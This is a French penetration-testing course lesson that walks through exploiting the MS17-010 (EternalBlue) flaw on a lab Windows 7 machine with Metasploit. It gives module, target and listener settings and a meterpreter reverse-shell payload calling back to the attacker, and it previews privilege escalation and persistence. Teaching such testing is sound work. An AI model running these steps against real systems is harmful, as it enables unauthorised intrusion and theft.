Exploitation d'un RCE à distance

Voyons maintenant comment exploiter toutes les informations fournies par Nmap et Nessus pour pénétrer notre système cible.

Voici les résultats de Nmap, mais on voit bien que Nessus fait un bien meilleur travail pour présenter les vulnérabilités de manière structurée.

On constate qu'il y a trois vulnérabilités critiques et quatre vulnérabilités de niveau élevé (High).

La première démarche, en tant que pentesteur, consiste à rechercher des vulnérabilités associées aux versions des services détectés.

Par exemple, si vous trouvez une version spécifique d'un service, vous pouvez la rechercher sur le site Exploit Database (Exploit-DB).

C'est une base de données publique qui répertorie la quasi-totalité des exploits publics connus, classés par date.

Si vous y recherchez par exemple « FTP », vous obtiendrez la liste de tous les codes d'exploitation disponibles pour les différentes versions de serveurs FTP.

Cependant, soyez extrêmement prudent lors de la phase d'exploitation, en particulier avec les vulnérabilités de type RCE (Remote Code Execution), car leur exécution peut parfois faire planter ou redémarrer le serveur cible (ce qui peut provoquer un déni de service).

Il est donc indispensable de faire des recherches approfondies sur le web et les forums pour savoir si l'exploit que vous envisagez d'utiliser est stable.

En consultant le rapport de Nessus, nous constatons que parmi les vulnérabilités critiques figure la faille Microsoft RDP RCE découverte en 2019, également connue sous le nom de BlueKeep.

On y trouve aussi une alerte sur un système d'exploitation Windows non supporté, ainsi que la faille MS11-030 dans la résolution DNS qui peut permettre une exécution de code à distance.

Ce sont les trois premières vulnérabilités critiques.

Plus bas, dans les vulnérabilités de niveau élevé, on note la faille MS17-010.

C'est une vulnérabilité très célèbre appelée EternalBlue, qui a notamment été exploitée par le rançongiciel (ransomware) WannaCry en 2017.

Il y a aussi des alertes concernant la configuration SSL/TLS (versions obsolètes), ainsi que la vulnérabilité MS12-020 qui peut également conduire à une exécution de code à distance.

Pour mener notre attaque, nous devons choisir une vulnérabilité.

Idéalement, on privilégie celle qui offre le meilleur compromis entre chances de succès, stabilité pour le système cible, et niveau de privilèges obtenus.

Pour cette démonstration, nous allons choisir la faille MS17-010 (EternalBlue).

En tant que pentesteur, vous pouvez effectuer des recherches sur chacune de ces failles.

Il vous suffit de copier la référence de la vulnérabilité et de la chercher sur Exploit Database ou sur Google pour comprendre son fonctionnement, son méczackme et les risques associés.

Pour exploiter cette faille, nous allons utiliser le framework Metasploit.

Metasploit est un outil incontournable pour les tests d'intrusion, qui permet de gérer les phases de reconnaissance, d'exploitation et de post-exploitation.

C'est un véritable compagnon pour le pentesteur.

Si vous souhaitez approfondir vos connaissances sur cet outil, j'ai conçu une formation complète sur Metasploit disponible sur mon site `cours.hackinggeek.com`.

Pour commencer, ouvrons un terminal et lançons Metasploit avec la commande `msfconsole`.

Une fois la console chargée, nous allons rechercher le module d'exploitation pour EternalBlue en tapant la commande `search eternalblue`.

Metasploit nous renvoie plusieurs modules.

Nous allons sélectionner le premier exploit pour Windows, qui correspond à la vulnérabilité MS17-010, en tapant `use exploit/windows/smb/ms17_010_eternalblue` (ou le numéro du module).

Nous tapons ensuite `show options` pour visualiser les paramètres requis par le module.

Nous devons configurer l'adresse IP de la cible.

Pour cela, nous utilisons la commande `set RHOSTS` suivie de l'adresse IP de notre serveur victime.

Le port par défaut est le port SMB 445.

Nous vérifions ensuite l'adresse IP de notre machine d'attaque Kali Linux (qui est par exemple en `.82`), puis nous configurons l'adresse d'écoute locale avec la commande `set LHOST` suivie de cette IP.

Nous laissons le port d'écoute local (`LPORT`) sur sa valeur par défaut, `4444`.

Le payload (la charge utile) configuré par défaut est `windows/x64/meterpreter/reverse_tcp`.

Meterpreter est l'un des payloads les plus puissants et les plus utilisés dans le framework Metasploit, car il offre énormément de fonctionnalités pour l'exploitation et la post-exploitation.

En tapant à nouveau `show options`, nous pouvons vérifier que toute notre configuration est correcte : l'adresse IP de la cible (`RHOSTS`), le port, le payload et l'adresse de notre machine de contrôle (`LHOST`).

Une fois l'exploit configuré, le principe est simple : Metasploit va exploiter la vulnérabilité sur le serveur cible pour y injecter et exécuter notre charge utile.

Celle-ci va ensuite initier une connexion inverse (reverse connection) vers l'adresse IP de notre Kali Linux sur le port 4444.

Pour lancer l'attaque, nous exécutons la commande `exploit` (ou `run`).

Par expérience, sachez que l'exploitation d'EternalBlue peut parfois échouer lors de la première tentative.

Soyez prudent car, si l'exploit échoue de manière brutale, il peut provoquer un écran bleu de la mort (BSOD) sur la machine Windows et la faire redémarrer, ce qui pose problème en production.

Il faut être patient et utiliser des exploits stables.

Ici, nous voyons la ligne « Sending stage », ce qui indique que la charge utile a été transmise avec succès.

L'exploitation a réussi et nous obtenons une session Meterpreter active.

Nous sommes maintenant connectés à distance sur la machine victime.

Si je lance la commande `sysinfo`, le système me confirme qu'il s'agit bien d'une machine Windows 7 dont le nom d'hôte est « John-PC ».

C'est exactement le serveur que nous avions identifié lors de notre phase de scanning.

Nous avons analysé les vulnérabilités détectées par Nessus, sélectionné la faille la plus appropriée, et obtenu un accès à distance via Metasploit.

Maintenant que nous sommes sur le serveur, nous pouvons interagir avec le système, naviguer dans les répertoires ou récupérer des informations.

La phase d'exploitation est terminée.

Les actions que nous allons mener à partir de maintenant entrent dans la phase de post-exploitation.

C'est-à-dire que nous allons effectuer des manipulations pour élever nos privilèges, collecter des données sensibles (comme des mots de passe) et mettre en place un accès persistant sur la machine cible.

C'est ce que nous allons étudier dans les prochaines leçons.

Introduction à la phase d'exploitationLa puissance de meterpreter